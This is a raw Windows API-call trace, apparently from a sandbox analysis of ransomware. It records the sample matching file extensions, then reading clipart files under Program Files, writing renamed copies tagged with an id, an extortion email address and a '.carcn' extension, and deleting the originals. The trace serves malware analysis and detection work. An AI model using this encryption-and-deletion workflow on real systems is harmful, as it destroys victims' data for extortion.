lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.639] lstrlenW (lpString=".ppt") returned 4 [0303.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.639] lstrlenW (lpString=".zip") returned 4 [0303.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.639] lstrlenW (lpString=".rar") returned 4 [0303.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.639] lstrlenW (lpString=".bz2") returned 4 [0303.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.639] lstrlenW (lpString=".7z") returned 3 [0303.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.640] lstrlenW (lpString=".dbf") returned 4 [0303.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.640] lstrlenW (lpString=".1cd") returned 4 [0303.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.640] lstrlenW (lpString=".jpg") returned 4 [0303.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.640] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.640] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.641] GetLastError () returned 0x0 [0303.641] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4c4, lpOverlapped=0x0) returned 1 [0303.642] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4d0, lpOverlapped=0x0) returned 1 [0303.643] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.643] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.643] SetEndOfFile (hFile=0x340) returned 1 [0303.643] CloseHandle (hObject=0x340) returned 1 [0303.643] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.643] SetEndOfFile (hFile=0x350) returned 1 [0303.644] CloseHandle (hObject=0x350) returned 1 [0303.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0303.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.645] lstrlenW (lpString=".doc") returned 4 [0303.645] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0303.645] lstrlenW (lpString=".docx") returned 5 [0303.645] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0303.645] lstrlenW (lpString=".pdf") returned 4 [0303.645] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0303.645] lstrlenW (lpString=".xls") returned 4 [0303.645] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0303.645] lstrlenW (lpString=".xlsx") returned 5 [0303.645] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0303.645] lstrlenW (lpString=".ppt") returned 4 [0303.645] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0303.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.645] lstrlenW (lpString=".zip") returned 4 [0303.645] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0303.645] lstrlenW (lpString=".rar") returned 4 [0303.645] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0303.646] lstrlenW (lpString=".bz2") returned 4 [0303.646] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0303.646] lstrlenW (lpString=".7z") returned 3 [0303.646] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0303.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.646] lstrlenW (lpString=".dbf") returned 4 [0303.646] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0303.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.646] lstrlenW (lpString=".1cd") returned 4 [0303.646] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0303.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.646] lstrlenW (lpString=".jpg") returned 4 [0303.646] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0303.646] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.646] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.647] GetLastError () returned 0x0 [0303.647] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2606, lpOverlapped=0x0) returned 1 [0303.649] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2610, lpOverlapped=0x0) returned 1 [0303.649] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.650] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.650] SetEndOfFile (hFile=0x340) returned 1 [0303.650] CloseHandle (hObject=0x340) returned 1 [0303.650] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.650] SetEndOfFile (hFile=0x350) returned 1 [0303.651] CloseHandle (hObject=0x350) returned 1 [0303.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0303.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.651] lstrlenW (lpString=".doc") returned 4 [0303.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.651] lstrlenW (lpString=".docx") returned 5 [0303.651] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0303.652] lstrlenW (lpString=".pdf") returned 4 [0303.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.652] lstrlenW (lpString=".xls") returned 4 [0303.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.652] lstrlenW (lpString=".xlsx") returned 5 [0303.652] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0303.652] lstrlenW (lpString=".ppt") returned 4 [0303.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.652] lstrlenW (lpString=".zip") returned 4 [0303.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.652] lstrlenW (lpString=".rar") returned 4 [0303.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.652] lstrlenW (lpString=".bz2") returned 4 [0303.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.652] lstrlenW (lpString=".7z") returned 3 [0303.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.652] lstrlenW (lpString=".dbf") returned 4 [0303.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.652] lstrlenW (lpString=".1cd") returned 4 [0303.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.652] lstrlenW (lpString=".jpg") returned 4 [0303.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.653] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.653] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.653] GetLastError () returned 0x0 [0303.653] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x257c, lpOverlapped=0x0) returned 1 [0303.654] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2580, lpOverlapped=0x0) returned 1 [0303.655] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.655] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.655] SetEndOfFile (hFile=0x340) returned 1 [0303.658] CloseHandle (hObject=0x340) returned 1 [0303.658] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.658] SetEndOfFile (hFile=0x350) returned 1 [0303.659] CloseHandle (hObject=0x350) returned 1 [0303.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0303.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.660] lstrlenW (lpString=".doc") returned 4 [0303.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.660] lstrlenW (lpString=".docx") returned 5 [0303.660] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0303.660] lstrlenW (lpString=".pdf") returned 4 [0303.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.660] lstrlenW (lpString=".xls") returned 4 [0303.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.660] lstrlenW (lpString=".xlsx") returned 5 [0303.660] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0303.660] lstrlenW (lpString=".ppt") returned 4 [0303.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.660] lstrlenW (lpString=".zip") returned 4 [0303.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.660] lstrlenW (lpString=".rar") returned 4 [0303.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.660] lstrlenW (lpString=".bz2") returned 4 [0303.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.660] lstrlenW (lpString=".7z") returned 3 [0303.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.660] lstrlenW (lpString=".dbf") returned 4 [0303.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.660] lstrlenW (lpString=".1cd") returned 4 [0303.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.660] lstrlenW (lpString=".jpg") returned 4 [0303.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.661] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.661] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.661] GetLastError () returned 0x0 [0303.661] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4278, lpOverlapped=0x0) returned 1 [0303.662] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4280, lpOverlapped=0x0) returned 1 [0303.663] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.663] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.663] SetEndOfFile (hFile=0x340) returned 1 [0303.663] CloseHandle (hObject=0x340) returned 1 [0303.663] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.664] SetEndOfFile (hFile=0x350) returned 1 [0303.665] CloseHandle (hObject=0x350) returned 1 [0303.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0303.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.665] lstrlenW (lpString=".doc") returned 4 [0303.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.665] lstrlenW (lpString=".docx") returned 5 [0303.665] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0303.665] lstrlenW (lpString=".pdf") returned 4 [0303.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.665] lstrlenW (lpString=".xls") returned 4 [0303.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.665] lstrlenW (lpString=".xlsx") returned 5 [0303.665] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0303.665] lstrlenW (lpString=".ppt") returned 4 [0303.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.666] lstrlenW (lpString=".zip") returned 4 [0303.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.666] lstrlenW (lpString=".rar") returned 4 [0303.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.666] lstrlenW (lpString=".bz2") returned 4 [0303.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.666] lstrlenW (lpString=".7z") returned 3 [0303.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.666] lstrlenW (lpString=".dbf") returned 4 [0303.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.666] lstrlenW (lpString=".1cd") returned 4 [0303.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.666] lstrlenW (lpString=".jpg") returned 4 [0303.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.666] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.666] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.667] GetLastError () returned 0x0 [0303.667] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x5516, lpOverlapped=0x0) returned 1 [0303.668] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x5520, lpOverlapped=0x0) returned 1 [0303.673] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.673] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.673] SetEndOfFile (hFile=0x340) returned 1 [0303.673] CloseHandle (hObject=0x340) returned 1 [0303.674] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.674] SetEndOfFile (hFile=0x350) returned 1 [0303.674] CloseHandle (hObject=0x350) returned 1 [0303.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0303.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0303.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0303.675] lstrlenW (lpString=".doc") returned 4 [0303.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.675] lstrlenW (lpString=".docx") returned 5 [0303.675] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0303.675] lstrlenW (lpString=".pdf") returned 4 [0303.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.675] lstrlenW (lpString=".xls") returned 4 [0303.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.675] lstrlenW (lpString=".xlsx") returned 5 [0303.675] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0303.675] lstrlenW (lpString=".ppt") returned 4 [0303.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0303.675] lstrlenW (lpString=".zip") returned 4 [0303.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.675] lstrlenW (lpString=".rar") returned 4 [0303.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.675] lstrlenW (lpString=".bz2") returned 4 [0303.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.675] lstrlenW (lpString=".7z") returned 3 [0303.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0303.675] lstrlenW (lpString=".dbf") returned 4 [0303.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0303.676] lstrlenW (lpString=".1cd") returned 4 [0303.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0303.676] lstrlenW (lpString=".jpg") returned 4 [0303.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.676] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.676] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.676] 